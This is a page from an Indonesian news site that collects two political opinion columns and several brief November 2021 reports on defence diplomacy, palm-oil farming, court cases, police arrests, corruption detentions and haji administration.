Oleh Ridwan Saidi Meski raja bepergian dipikul-pikul, mereka tak sombong. Mereka tegur rakyat di tepi jalan yang lagi pada jongkok. Tukang panggul raja walau upah tak seberapa, mereka gembira saja. Meski pun mereka yang manggul di belakang berisiko kena serangan gas lambung raja yang tiba-tiba masuk angin. Wolio adalah satu-satunya kerajaan yang pada tahun 1599 memiliki konstitusi tertulis yang disebut Martabat Tujuh . Di situ antara lain diatur pidana mati bagi raja yang berlaku lalim dan sombong. Tidak patut memberi juadah pada rakyat dengan cara melemparkannya dari kendaraan, tidaklah elok pejabat berumur bicara soal hukum dengan menggertak-gertak yang lebih muda. Akhirnya dua kawula muda beli gertakan itu opung. Repot sendiri 'kan? Waktu muda kali saya belajar main pukulan (silat), guru kasih nasihat, Wan nanti kalo lu udah tua, jangan ribut sama anak muda. Perlawanan rakyat pada penguasa sering karena arogansi kekuasaan dari pada soal kebijakan. Penguasa sombong tak disukai. Apalagi sudah sombong berbonus tolol. Kebijakan yang merugikan rakyat sering manunggal dengan arogansi kekuasaan. Ini memicu sengitnya perlawanan ketika kekuasaan ditumbangkan. Kebijakan merugikan dan arogansi kekuasaan tentu menimbulkan kontraksi yang akibatnya tidak menguntungkan penguasa. Tak usah yang merugikan, kebijakan nan elok tapi tak realistis juga dapat reaksi boikot seperti yang dialami Khalifah Bagdad Harun al Rasyid. Syahdan daerah pinggir Bagdad penduduknya mengalami krisis madu. Khalifah ambil inisiatif menyerukan penduduk kota Bagdad, derma setengah cangkir madu dan kumpulkan di gentong yang sudah disediakan di alun-alun. Harun al Rasyid khalifah simpatik, idenya menarik, tapi tak realistik. Penduduk kota sedang tidak berkelebihan rejeki. Abu Nawas berpikir, kalau aku tuang ke gentong setengah cangkir air putih 'kan tak ketauan. Sip. Penduduk dari pagi penuhi kewajiban. Mereka, ternasuk Abu Nawas, datang ke alun-alun. Sore-sore khalifah buka gentong dan bukan main kagetnya. Isi gentong cuma air putih. Khalifah mencicipi, itu air gentong kagak manis-manis acan. Dalam gelombang yang sama, maka pikiran individual menjadi komunal. Bukan lagi sigma individu tapi kolektif individu. Realita menyatukan pikiran dalam satuan time frame. *) Budayawan

Algojo Baliho Siap Terapkan Gaya Era Soeharto

By M Rizal Fadillah Indonesia adalah negara demokrasi bukan negara fasis, dimana militer dapat berbuat sewenang-wenang. TNI adalah tentara rakyat dan tentara pejuang bukan tentara gertak-gertak dan ancam-ancam. Bukan tentara hantu yang menakut-nakuti rakyat dengan bahasa radikal-radikul. Radikalisme belum memiliki definisi berbasis hukum. Masih multi tafsir dan tentu saja tidak boleh ditafsirkan versi sendiri. KSAD baru Jenderal Dudung mulai berwajah Benito Mussolini. Pernyataan yang tidak bijak dari seorang pemimpin "Saya akan berlakukan seperti zaman Pak Soeharto dulu". Rupanya Angkatan Darat hendak dikerahkan untuk membantai kelompok yang secara sepihak diberi label "radikal". Wuih mau dibawa ke mana negara ini. KSAD Jenderal Dudung Abdurrahman menampilkan diri sebagai Jenderal yang justru radikal. Teriak radikalisme yang diarahkan pada kelompok masyarakat padahal dirinya sendiri yang justru mengembangkan faham radikalisme. Sewaktu Pangdam Jaya, Dudung memerintahkan penurunan baliho FPI dan HRS. Karena itu, umat menjulukinya, jenderal baliho (karena dia berpangkat Mayor Jenderal). Malah ada yang sebutan lainnya, "Algojo baliho." Sebuah sebutan yang tidak pantas ditujukan kepadanya. TNI AD dalam bahaya. TNI AD jangan dibawa untuk menjadi tukang pukul. Jika mau perang lawan itu KKB di Papua yang sudah terang-terangan berani mengejek dan menantang. Bukan rakyat sebangsa dan setanah air. Tugas TNI melindungi segenap bangsa dan tumpah darah. UU No 34 tahun 2004 tentang TNI menegaskan bahwa TNI dibangun dan dikembangkan sesuai kepentingan politik negara, mengacu pada prinsip demokrasi, supremasi sipil, hak asasi manusia, ketentuan hukum nasional dan ketentuan hukum internasional yang telah diratifikasi. Berbeda dengan KSAD terdahulu yang perkasa, berwibawa, dan tidak membangun kegaduhan, kini KSAD seperti melebihi kewenangannya, mengobrak-abrik ranah politik, main ancam dan tidak berwibawa. Jauh dari spirit UU TNI yang menempatkan jati diri TNI sebagai tentara rakyat, tentara pejuang, tentara nasional, dan tentara profesional. Semangat Dudung untuk membawa TNI AD ke era pemerintahan Soeharto jelas suatu kemunduran. Mundur seratus langkah. Sungguh hal ini merupakan sikap yang melanggar prinsip demokrasi, menginjak-injak supremasi sipil, serta mengancam hak asasi manusia. Dipastikan mengoyak undang-undang dan aturan hukum nasional-internasional. Semoga Jenderal Dudung menyadari posisi diri sebagai pemimpin yang dituntut untuk mampu membawa TNI khususnya Angkatan Darat menjadi kekuatan yang berwibawa dan manunggal dengan rakyat. Bukan menginteli dan memecah-belah kebersamaan rakyat yang justru membahayakan kesatuan dan persatuan bangsa. Semakin brutal Jenderal Dudung justru akan semakin mengganggu dan membuat goyah posisi Presiden Jokowi yang telah bersusah-susah "pasang badan" untuk memberi kepercayaan kepada Dudung Abdurrahman sebagai KSAD. *) Pemerhati Politik dan Kebangsaan

Menhan Prabowo Terima Kunjungan Menlu Perancis Bahas Kerja Sama

Jakarta, FNN - Menteri Pertahanan Republik Indonesia Prabowo Subianto menerima Menteri Luar Negeri Perancis Jean-Yves Le Drian di Gedung Kementerian Pertahanan, Jakarta, Selasa. Pertemuan tersebut membahas mengenai tindak lanjut kemitraan strategis antara Indonesia dan Perancis di sektor pertahanan yang telah ditandatangani pada Juni 2021 di Perancis. Siaran pers dari Humas Kementerian Pertahanan, menyebutkan, kerja sama pertahanan Indonesia dan Perancis mencakup berbagai bidang, seperti intelijen, pelatihan dan pendidikan militer, ilmu pengetahuan dan teknologi, industri pertahanan. Selain itu, kerja sama pasukan pemelihara perdamaian, pemberantasan terorisme serta pengembangan dan penelitian industri pertahanan termasuk produksi bersama. Sementara itu, Wakil Menteri Pertahanan (Wamenhan) Letjen TNI M Herindra menerima kunjungan kerja Menteri Luar Negeri (Menlu) Denmark Jeppe Kofod di Kantor Kemhan, yang membahas kerja sama pertahanan. Atas kedatangan Menlu Denmark, Wamenhan Herindra menyampaikan penghargaan dan ucapan terima kasih telah berkunjung ke Kementerian Pertahanan. Mantan Irjen TNI ini berharap dengan kunjungan Menlu Denmark dapat mempererat serta meningkatkan hubungan bilateral pertahanan kedua negara. Sebelumnya, ada beberapa kerja sama pertahanan antara Indonesia dan Denmark, diantaranya Plan of Action (POA) 2017-2020 melalui 3rd Bilateral Forum Indonesia-Denmark di bawah Kementerian Luar Negeri RI. Kemudian beberapa kerja sama bidang industri pertahanan serta penandatanganan kontrak dengan pemerintah Indonesia untuk Electronic Support Measures (ESM) Enam Kapal TNI AL pada Agustus 2021. (mth)

Norwegia Soroti Keberhasilan Petani Swadaya Sawit di Musi Banyuasin

Palembang, FNN - Negara donor pelestarian lingkungan, Norwegia menyoroti keberhasilan pemberdayaan petani swadaya dalam sektor perkebunan sawit di Kabupaten Musi Banyuasin, Sumatera Selatan, yang dinilai mampu menyejahterakan warga setempat. Plt Bupati Musi Banyuasin Beni Hernedi di Sekayu, Selasa, mengatakan ketertarikan itu dibuktikan Norwegia dengan mengirimkan duta besarnya Rut Kruger Giverin ke Muba pada Rabu (24/11/21). “Nanti Dubes Norwegia akan mengunjungi perkebunan petani swadaya di Desa Mendis Jaya, Kecamatan Bayung Lencir,” kata Beni. Ia menyebutkan, Dubes Norwegia juga akan meninjau program masyarakat Sejahtera Alam Terjaga (SETARA) yang telah berjalan untuk petani swadaya di Muba. Dubes direncanakan berdialog secara langsung dengan petani setempat. "Semoga dalam kunjungan ini nantinya akan ada lagi terobosan dan inovasi untuk pemberdayaan petani di Muba," kata Kepala Bidang Informasi dan Komunikasi program Lingkar Temu Kabupaten Lestari (LTKL) ini. Pemerintah Kabupaten Musi Banyuasin mengundang masuknya investasi ‘hijau’ yakni penanaman modal yang tetap mengedepankan keberlanjutan dalam pemanfaatan sumber daya alam. Model investasi hijau itu telah dimiliki Muba, mulai dari sektor perkebunan sawit, karet hingga pertambangan minyak dan gas. Bahkan model bisnis ini sudah dikawal oleh Peraturan Daerah sehingga dapat menjadi acuan untuk kalangan pebisnis dalam berusaha di Musi Banyuasin. Muba menjadi daerah pilot project untuk program peremajaan sawit, dan menjadi inisiator untuk penggunakan aspal karet. Untuk itu, Muba mengundang para investor menanamkan modal mulai dari sisi hulu hingga hilir dengan tetap mengedepankan pelestarian lingkungan. Kabupaten Muba sejauh ini menghasilkan aspal karet dan minyak sawit jenis Industrial Vegetable Oil (IVO) sebagai produk turunan dari komoditas karet dan sawit. Sementara untuk IVO, penyerapan produk hasil petani sawit Muba ini untuk menyuplai kebutuhan kilang RU III Plaju, Sumatera Selatan. Untuk aspal karet sendiri, Muba sudah bisa menyuplai kebutuhan untuk bahan baku pembangunan jalan nasional di Sumatera, sementara untuk IVO nanti kami akan menyuplai ke Pertamina karena saat ini sudah dihasilkan B30. Musi Banyuasin bertekad merealisasikan hilirisasi komoditas ini karena hampir 80 persen penduduknya menggantungkan hidup pada sektor ini. Berdasarkan data pemkab, luas perkebunan karet rakyat mencapai 459.032 hektare, perusahaan 7.361 hektare, sementara perkebunan kelapa sawit rakyat 141.192 hektare dan perusahaan 302.279 hektare. (mth)

Mantan Suami Valencya Dituntut Enam Bulan Penjara Kasus KDRT

Karawang, FNN - Mantan suami Valencya, Chan Yung Ching dituntut pidana penjara selama enam bulan dengan masa percobaan satu tahun dalam kasus kekerasan dalam rumah tangga (KDRT). Dalam lanjutan persidangan di Pengadilan Negeri Kabupaten Karawang Jawa Barat, Selasa, Jaksa Penuntut Umum (JPU) dari Kejaksaan Agung menilai terdakwa Chan terbukti bersalah dalam perkara penelantaran dan KDRT. Atas hal tersebut, JPU menuntut enam bulan penjara dengan masa percobaan satu tahun. JPU yang terdiri dari Jaksa Muda Pidana Umum (Jampidum) dari Kejagung yakni Syahnan Tanjung (Jaksa utama), Fadjar (Jaksa madya), dan Erwin Widhiantono menyatakan Chan Yung Ching terbukti bersalah melakukan penelantaran terhadap anak istri sesuai Pasal 49 huruf A jo Pasal 9 ayat 1 Undang-Undang RI Nomor 23 Tahun 2004 tentang Penghapusan Kekerasan Dalam Rumah Tangga (KDRT). JPU menyebutkan perbuatan Chan Yu Ching terhadap Valencya dan dua anaknya sudah menelantarkan keluarga dan tidak memberikan nafkah. Hal itu terungkap dari keterangan saksi dan korban. Menanggapi tuntutan tersebut, kuasa hukum Chan Yung Ching, Bernard Nainggolan mengatakan seharusnya kliennya juga dibebaskan dari tuntutan, seperti Valencya yang mendapatkan bebas tuntutan dari jaksa. "Dia (Chan) merasa kalau Ibu Valencya dituntut bebas, seharusnya dituntut bebas juga. Tapi kami belum bisa bicara sampai ke situ kami masih menunggu," katanya Ia juga membantah adanya penelantaran yang dituduhkan Valencya ke kliennya. Karena kliennya tidak pernah melakukan penelantaran anak. Bahkan setelah keluar dari rumah pada Februari 2019, Chan masih mengirimkan uang untuk anaknya, tapi semua uangnya dikembalikan oleh Valencya ke rekening Chan. "Dari awal Pak Chan tidak ingin bercerai dan berusaha mempertahankan perkawinannya. Tapi Ibunya tetap ngotot cerai sih, upaya mediasi itu sudah beberapa kali dilakukan, tapi, itu bahkan tawarannya dari Pak Chan, tapi dari ibu Valencya itu mediasinya bersyarat," ujarnya. Majelis hakim Ismail Gunawan memberikan kesempatan terhadap terdakwa untuk pembelaan atau pleidoi pada Kamis (7/12) pekan depan. (mth)

DPD dan IPHI Bahas Solusi Persoalan Penyelenggaraan Haji

Jakarta, FNN - Dewan Perwakilan Daerah (DPD) RI bersama Pengurus Pusat Ikatan Persaudaraan Haji Indonesia (IPHI) membahas sejumlah persoalan penyelenggaraan ibadah haji termasuk mencari solusi terbaik. "Saya ucapkan terima kasih dan kami di DPD RI siap bersinergi dengan IPHI," kata Ketua DPD RI AA La Nyalla Mahmud Mattalitti melalui keterangan tertulis yang diterima di Jakarta, Selasa. Salah satu hal yang disoroti oleh La Nyalla adalah penyelenggaraan haji yang harus menunggu waktu cukup lama bagi jamaah untuk menunaikan ibadah ke Tanah Suci. "Bayangkan, ada yang sudah membayar lunas dari sekarang tapi jadwal keberangkatannya masih lima tahun, 10 tahun bahkan antre hingga 20 tahun ke depan," kata La Nyalla. Ke depan, hal-hal demikian harus segera dibenahi. Selaku Ketua DPD ia mengaku beberapa kali mengundang pihak penyelenggara haji untuk membahas dan mencari jalan keluar atas persoalan tersebut. "Tapi sampai sekarang respons mereka tidak berlanjut. Ini sebenarnya ada apa," tanya dia. Senator asal Jawa Timur tersebut juga sependapat dengan IPHI, agar penyelenggaraan haji dibuatkan badan khusus. Tujuannya agar penyelenggaraannya lebih tertib. Jika tidak disegerakan, maka masalahnya diyakini akan tetap seperti sekarang ini. La Nyalla juga mengaku berkali-kali meminta kepada penyelenggara haji, agar melobi Pemerintah Kerajaan Arab Saudi untuk menambah kuota jemaah haji asal Indonesia. "Itu sebagai solusi jangka pendek mempercepat keberangkatan jamaah haji kita. Solusi jangka panjangnya tetap harus dipikirkan," ujarnya pula. Ketua Umum IPHI Erman Suparno meminta agar penyelenggara haji dibuatkan badan khusus atau terpisah dari Kementerian Agama (Kemenag). "Sama halnya dengan Kementerian Perhubungan. Meski mengurusi kereta api, tetapi penyelenggaraannya memiliki badan otoritas tersendiri," kata dia. Pada pertemuan itu, Erman juga menyinggung soal rencana amendemen konstitusi yang kelima. Jika hal itu terwujud, IPHI berharap dapat diselaraskan dengan peraturan turunannya dalam hal ini yang berkaitan dengan penyelenggaraan haji. "Tujuannya agar penyelenggaraan haji bisa berjalan semakin baik ke depannya," ujarnya pula. (mth)

Polisi Tetapkan Lima Tersangka Perusak Rumah di Gresik

Gresik, Jatim, FNN - Aparat Kepolisian Resor (Polres) Gresik, Polda Jawa Timur menetapkan lima tersangka perusak rumah di wilayah ini yang berasal dari salah satu perguruan silat, setelah mengamankan sebanyak 42 orang untuk dimintai keterangan. "Kami amankan 42 orang untuk dimintai keterangan sebagai saksi. Dari jumlah itu, 5 orang dijadikan tersangka. Sementara sisanya dikembalikan karena tidak terbukti melakukan perusakan," kata Kapolres Gresik AKBP M Nur Aziz kepada wartawan, di Gresik, Selasa. Ia mengatakan, perusakan terjadi di Desa Kedung Sumber, Kecamatan Balongpanggang, Gresik, bermula saat salah satu perguruan silat melakukan konvoi dan melintas di jalan raya desa setempat. Aziz mengatakan, lima tersangka itu identitasnya berasal dari luar Kota Gresik, dan sampai saat ini masih menjalani pemeriksaan di mapolres setempat. Sempat viral di media sosial aksi konvoi ratusan orang dari salah satu perguruan silat dan berujung perusakan belasan rumah serta kendaraan milik warga, di Dusun Kedungwatu, Desa Kedung Sumber, Kecamatan Balongpanggang. Kepala Desa Kedung Sumber Wahono Yudo mengatakan aksi konvoi terjadi Senin (22/11) di atas jam 22.00 WIB. Kemudian, ratusan pesilat menggunakan baju hitam itu bentrok dengan warga dan merusak rumah warga, serta sempat terjadi aksi lempar batu antara warga dan konvoi tersebut. "Massanya berjumlah ratusan. Sudah kacau tadi malam, lempar-lempar batu. 18 rumah warga saya rusak dan satu motor yang diparkir di pinggir jalan ikut jadi korban," kata Wahono Ia mengaku, tidak mengetahui apa penyebabnya, dan sempat meresahkan serta mengganggu kenyamanan masyarakat. "Konvoi itu bubar sekitar jam 00.00 WIB WIB, dan ratusan pesilat itu menuju ke arah barat masih dengan konvoi," katanya pula. (sws)

PN Denpasar Adili WN Rusia Kasus Pemerasan Rp171 Juta

Denpasar, FNN - Pengadilan Negeri (PN) Denpasar, Bali mengadili warga negara Rusia bernama Evgenii Bagriantsev (56) yang terlibat dalam kasus pemerasan dengan kerugian senilai Rp171 juta. "Dalam perkara ini, Evgenii Bagriantsev didakwa melakukan, yang menyuruh melakukan atau turut melakukan dengan maksud menguntungkan diri sendiri dengan melawan hak atau hukum memaksa orang dengan kekerasan atau ancaman kekerasan supaya memberikan barang yang sebagian atau seluruhnya milik orang itu sendiri atau orang lain supaya orang itu membuat utang dan menghapuskan piutang," kata jaksa penuntut umum I Made Dipa Umbara saat dikonfirmasi, di Denpasar, Selasa. Dalam persidangan secara virtual, jaksa Dipa mengatakan bahwa terdakwa melakukan pemerasan terhadap korban pengusaha rental asal Uzbekistan bernama Nikolay Romanov, bersama dengan tiga orang yang masih berstatus daftar pencarian orang (DPO), yaitu Olga Bagriantsev, Maxim Zhiltsov, dan Agung. Evgenii Bagriantsev didakwa dengan Pasal 368 ayat (1) KUHP jo Pasal 55 ayat (1) KUHP. Barang bukti disita dari terdakwa berupa satu unit mobil milik pelaku, uang hasil pemerasan sebanyak Rp20 juta, dan beberapa bukti transfer antara korban dan pelaku. Kasus pemerasan ini diketahui terjadi pada 17 Februari 2021, terdakwa Evgenii Bagriantsev dan Maxim Zhilitisov (DPO) mendatangi tempat kerja korban Nikolay Romanov, di Jalan Batu Bolong Br Canggu No.10 Kuta Utara, Badung. Saat itu terdakwa mengatakan bahwa tempat usaha tersebut sedang dicari pihak kepolisian. Ketika bertemu korban, terdakwa mengaku adalah informan dari Interpol dan apabila tidak mau bekerja sama dengan dirinya, maka korban akan mendapat masalah karena bersekongkol dengan seseorang bernama Dimitri Babaev. Selain itu, terdakwa meminta korban menyusun daftar jumlah sepeda motor sebanyak 21 unit dan diserahkan kepada tersangka dan temannya. Selanjutnya, secara bertahap sepeda motor tersebut diambil oleh terdakwa sampai 26 Maret 2021. Lalu, pada 22 Mei 2021 terdakwa kembali mengancam korban dengan mengatakan bahwa tempat usahanya bermasalah dan bisa dipidana penjara sampai dengan 4 tahun dan denda sebesar Rp400 juta. Selama bertemu dengan korban, terdakwa meminta uang sebesar Rp230 juta kepada korban, namun korban mengatakan tidak mempunyai uang. Setelah diancam terdakwa terus-menerus, lalu korban mengirim uang secara bertahap dengan total Rp121 juta serta menyerahkan satu sepeda motor seharga Rp50 juta. Total kerugian yang dialami korban Nikolay Romanov sebesar Rp171 juta. (sws)

Forpi Minta Pemkot Yogyakarta Lebih Tanggap Tangani Pelanggaran Parkir

Yogyakarta, FNN - Forum Pemantau Independen Kota Yogyakarta meminta pemerintah daerah setempat lebih tanggap dan cepat menangani kasus parkir liar dan pelanggaran parkir lain, termasuk penggunaan trotoar untuk tempat parkir. “Tidak perlu menunggu keluhan warga terkait pelanggaran parkir viral di media sosial baru bertindak. Tetapi, bisa lebih responsif untuk memastikan tidak ada pelanggaran parkir,” kata Anggota Forum Pemantau Independen (Forpi) Kota Yogyakarta Baharuddin Kamba di Yogyakarta, Selasa. Berdasarkan keluhan warga yang viral di media sosial, pelanggaran parkir terjadi di Jalan Pasar Kembang. Trotoar yang seharusnya dimanfaatkan oleh pejalan kaki, justru dimanfaatkan untuk parkir sepeda motor, becak, hingga gerobak. Pejalan kaki yang melintas, lanjut dia, terpaksa turun ke jalan karena tidak ada bagian trotoar yang tersisa. “Tentunya cukup berbahaya jika pejalan kaki harus turun sampai ke jalan,” katanya. Selain alih fungsi trotoar, pelanggaran parkir yang juga ditemui di sepanjang Jalan Pasar Kembang adalah pelanggaran marka biku-biku atau daerah larangan parkir. Sejumlah kendaraan terlihat nekat parkir di atas marka biku-biku. Oleh karenanya, Baharuddin menyebut, Dinas Perhubungan Kota Yogyakarta seharusnya memberikan tindakan tegas terhadap pelanggaran parkir tersebut. “Jika sanksi yang diberikan dalam penertiban belum memberikan efek jera, maka pemerintah bisa mendorong agar sanksi tindak pidana ringan bisa dimaksimalkan,” katanya. Petugas keamanan Jogoboro, lanjut dia, juga bisa dilibatkan untuk membantu patroli di Jalan Pasar Kembang guna memastikan tidak ada pelanggaran parkir. “Lokasi Malioboro dan Jalan Pasar Kembang tidak terlalu jauh. Petugas Jogoboro bisa ikut membantu mengawasinya dan menegur jika menemukan pelanggaran,” katanya. Sebelumnya, Kepala Bidang Pengendalian dan Operasional Dinas Perhubungan Kota Yogyakarta Asung Waluyo mengatakan, rutin melakukan patroli penertiban parkir liar dan pelanggaran parkir, termasuk di Jalan Pasar Kembang. “Biasanya, patroli penertiban kami intensifkan saat akhir pekan. Kendaraan yang melanggar marka biku-biku kami beri stiker melanggar parkir atau ditilang. Begitu juga dengan sepeda motor yang terparkir di trotoar. Bahkan kami pernah melakukan penggembosan ban untuk kendaraan yang melanggar parkir,” katanya. Kendaraan pelanggar parkir tersebut kemudian dicatat dan masuk dalam basis data Dinas Perhubungan Kota Yogyakarta sehingga jika suatu saat kembali melakukan pelanggaran maka akan diberi sanksi lebih berat. (sws)

Polisi Bekuk Pria di Bali Saat Mabuk Aniaya Istri Hingga Tewas

Buleleng, FNN - Polres Buleleng, Polda Bali membekuk seorang pria bernama Suin (39) yang diduga dalam kondisi mabuk menganiaya istri sirinya Sri Indrawati (41) hingga tewas. "Jadi berikan waktu penyidik untuk dapat mengungkap motif dan modus atas peristiwa ini, nanti bila sudah lengkap akan kami sampaikan kembali," kata Kapolres Buleleng AKBP Andrian Pramudianto saat dikonfirmasi, di Denpasar, Selasa. Ia mengatakan hingga saat ini perkara tersebut sedang ditangani oleh Unit Reserse Kriminal (Reskrim) Polsek Celukan Bawang dan dibantu Satuan Reserse Kriminal (Satreskrim) Polres Buleleng. Sedangkan jenazah korban sudah ditangani RSUD Buleleng untuk divisum, baik di bagian dalam maupun luar. Kejadian berawal ketika korban dan pelaku serta dua orang lainnya menikmati minuman beralkohol pada Senin (22/11)m sekitar pukul 20.00 WITA, di Banjar Dinas Tegallantang, Desa Pengulon, Kecamatan Gerokgak, Kabupaten Buleleng. Ketika pelaku bersama teman-teman lainnya sedang minum-minuman beralkohol, terjadi pertengkaran mulut antara korban dan pelaku pada Selasa sekitar pukul 00.00 WITA. Setelah minuman tersebut habis beberapa botol, pelaku mendatangi korban ke dalam kamar, lalu bertengkar hingga melakukan pemukulan kepada korban secara berulang-ulang. "Karena pelaku tidak dapat mengendalikan emosi, kemudian pelaku memukul kepala korban berulang-ulang sampai korban tertidur," katanya lagi. Pada saat pelaku bangun tidur sekitar pukul 04.00 WITA, dan mencoba membangunkan korban ternyata sudah dalam keadaan kaku. Dia menyatakan, saat dilakukan pemeriksaan awal oleh tim medis dari Puskesmas Gerokgak ditemukan ada beberapa bekas pukulan pada bagian tubuh korban. "Mayat (ditemukan) dalam posisi telentang, menggunakan baju abu-abu, lengan panjang, menggunakan daster biru," ujar Kapolres. (sws)

Kejaksaan Negeri Pasaman Barat Tahan Seorang Mantan Anggota DPRD

Simpang Empat - FNN - Kejaksaan Negeri (Kejari) Pasaman Barat, Sumatera Barat, Selasa malam, melakukan penahanan terhadap seorang mantan anggota DPRD Pasaman Barat inisial IS terkait perkara dugaan penyimpangan perjalanan dinas fiktif tahun anggaran 2019. Kepala Kejari Pasaman Barat Ginanjar Cahya Permana diwakili Kasi Pidsus Andy Suryadi didampingi Kasi BB Firdaus saat memberikan keterangan kepada wartawan, Selasa, mengatakan sebelumnya IS sudah ditetapkan tersangka bersama empat orang mantan anggota DPRD periode 2014-2019 itu. "Sebelumnya tersangka berhalangan hadir saat dipanggil karena sakit usai menjalani operasi. Hari ini dipanggil dan setelah menjalani pemeriksaan lebih kurang lima jam sebagai tersangka dan hasil pemeriksaan tim medis tersangka sehat, maka langsung dilakukan penahanan," ujarnya. Menurutnya, IS dilakukan penahanan dan dititipkan di rumah tahanan Polres Pasaman Barat sebelum dilimpahkan ke Pengadilan Tipikor di Padang. Ia menyebutkan IS ditetapkan sebagai tersangka bersama empat orang mantan anggota DPRD lainnya pada 29 Oktober 2021 lalu. "Tersangka sangat kooperatif saat diperiksa. Tidak ada kesulitan saat memeriksa tersangka," ujarnya pula. Dengan penahanan satu orang lagi, maka pihak Kejari Pasaman Barat telah menahan lima tersangka pada kasus itu. "Dalam kasus ini, pihaknya terus melakukan pemeriksaan terhadap sejumlah pihak yang terlibat dalam perkara itu. Tidak tertutup kemungkinan akan ada tersangka baru," kata dia pula. Ia menjelaskan para tersangka diduga melakukan tindakan korupsi pada anggaran perjalanan dinas pada Sekwan DPRD Pasaman Barat pada tahun 2019 dan 2018 dengan anggaran yang terserap sekitar Rp27.165.361.405 dari total anggaran sebesar Rp32.015.823.405. "Kerugian negara akibat perbuatan tersangka lebih kurang Rp650 juta," katanya lagi. Dia menyebutkan penahanan tersangka dilakukan setelah tim penyidik menemukan barang bukti dugaan tindak pidana korupsi dan dari keterangan saksi-saksi. "Sekitar 30 lebih saksi telah kami periksa dan dengan barang bukti dokumen. Ini baru tahap awal dan akan terus dikembangkan tidak tertutup akan ada tersangka baru nantinya," ujarnya pula. Para tersangka dikenakan Pasal 2 ayat 1 subsider Pasal 3 UU RI Nomor 31 Tahun1999 diubah menjadi UU RI Nomor 20 Tahun 2021 tentang Pemberantasan Tindak Pidana Korupsi. Ia mengakui tersangka sudah mengembalikan kerugian negara setelah proses penyidikan dan sudah disetor ke kas daerah. "Proses perkara ini akan terus kami kembangkan dengan memanggil saksi-saksi kembali," ujarnya pula. (sws)

Polri akan Tempatkan Mantan Pegawai KPK Sesuai Kemampuan

Jakarta, FNN - Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono mengatakan penempatan 57 mantan pegawai KPK yang tidak lulus Tes Wawasan Kebangsaan (TWK) sebagai ASN Polri akan disesuaikan dengan kemampuannya. Menurut Rusdi, karena tidak semua dari 57 mantan pegawai KPK bertugas sebagai penyidik dan penyelidik, sehingga penempatannya disesuaikan dengan posisi yang bersangkutan saat bekerja di KPK. "Penempatan disesuaikan, karena tidak semua ke-57 mantan pegawai KPK itu kan penyidik atau penyelidik. Ada di bidang perencanaan, ada di bidang SDM, ada juga di bidang keamanan, ini kan akan disesuaikan ketika yang bersangkutan bekerja di KPK," kata Rusdi, di Jakarta, Selasa. Penempatan 57 mantan pegawai KPK ini, kata Rusdi, nantinya sesuai dengan rekomendasi yang diberikan oleh Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB). Ia menyebutkan, Polri sudah mendapatkan posisi-posisi yang akan diisi oleh mantan pegawai KPK sesuai arahan dari Kemenpan RB. "Polri sudah mendapatkan posisi-posisi mana saja ya. Dari Kementerian PAN RB sudah memberikan posisi-posisi mana saja yang bisa diisi oleh ke 57 eks pegawai KPK itu," ujar Rusdi. Rusdi memastikan tidak ada kendala dalam perekrutan Novel Baswedan dan kawan-kawan sebagai ASN Polri. Saat ini Polri tengah menyempurnakan payung hukum perekrutan 57 mantan pegawai KPK sebagai ASN Polri. Menurut Rusdi, rekrutmen bisa berjalan setelah ada payung hukum. Hal ini untuk menjaga legalitas dari proses rekrutmen mantan pegawai KPK. "Segala sesuatunya dipersiapkan sehingga rekrutmen ini bisa berjalan dengan baik, legalitasnya pun bisa dijaga," ujar Rusdi. "Intinya adalah Polri menyiapkan segala sesuatu dengan sebaik-baiknya. Jangan sampai nanti di ujungnya ada permasalahan hukum. Ini yang dihindari," terang Rusdi. Sebelumnya, Guru Besar Universitas Indonesia (UI) Hamdi Muluk berharap alih status sebanyak 57 mantan pegawai Komisi Pemberantasan Korupsi (KPK) menjadi aparatur sipil negara (ASN) di Polri sesuai undang-undang (UU). Hamdi menegaskan jika benar Kapolri menawarkan mereka untuk menjadi ASN di Polri, terlebih tidak melalui serangkaian tes ulang, maka Kapolri telah bersikap kontradiktif. Hamdi mengecualikan jika pekerjaan yang ditawarkan Kapolri kepada mantan pegawai KPK itu berbeda dengan pekerjaan sebelumnya dan bukan menjadi ASN atau hanya sebatas pegawai kontrak saja. Namun, jika ternyata akan dijadikan ASN, Hamdi menegaskan mereka harus tetap mengikuti serangkaian tes yang telah dipersyaratkan oleh aturan perundang-undangan, dalam hal ini UU ASN. (sws)

DPP Ikhwanul Muballighin Minta LaNyalla Jadi Pembina

Jakarta, FNN - Dewan Pengurus Pusat Ikhwanul Muballighin meminta Ketua DPD RI LaNyalla Mahmud Mattalitti menjadi pembina dalam struktur kepengurusan organisasi. Hal itu disampaikan Wakil Dewan Syuro DPP Ikhwanul Muballighin Habib Umar Assegaf dalam pertemuan di Ruang Kerja DPD RI, Lantai 8 Gedung Nusantara III, Komplek Parlemen, Senayan, Jakarta, Selasa. "Jika berkenan, sudi kiranya Pak LaNyalla menjadi pembina DPP Ikhwanul Muballighin," kata Habib Umar. Menjawab permintaan tersebut, LaNyalla meminta doa agar amanah dan bertanggungjawab dengan tugas barunya sebagai Pembina DPP Ikhwanul Muballighin. "Doakan saya agar amanah menerima peran baru saya ini sebagai Pembina DPP Ikhwanul Muballighin," kata LaNyalla. Sementara itu, Ketua Umum DPP Ikhwanul Muballighin KH Anwar Fudoli menerangkan, kehadirannya mereka untuk menyampaikan perkembangan organisasinya yang telah melaksanakan kongres pada Maret 2021 lalu. "Saat ini kami mulai melakukan konsolidasi. Dalam waktu dekat, kami akan menyelenggarakan Mukernas pada 17-19 Desember 2021. Berkenan kiranya Pak LaNyalla memberi 'keynote speech'," kata Anwar. Anwar menjelaskan salah satu program kerja yang tengah digagas adalah mendorong para mubaligh menjadi wirausaha. Menanggapi program itu, LaNyalla menyatakan mubaligh memang sudah semestinya mengambil peran untuk memperkuat perekonomian nasional. "Peran yang bisa diambil adalah menjadi wirausaha. Maka, saya mendukung program kerja mubaligh berwirausaha ini," tutur LaNyalla. Dia meyarankan agar para mubaligh itu membentuk koperasi sebagai alat mereka membangun usaha. "Saya sarankan koperasi," ujarnya. (sws)

Ketua DPD Tegaskan Komitmen Kawal Dana BLK Pesantren

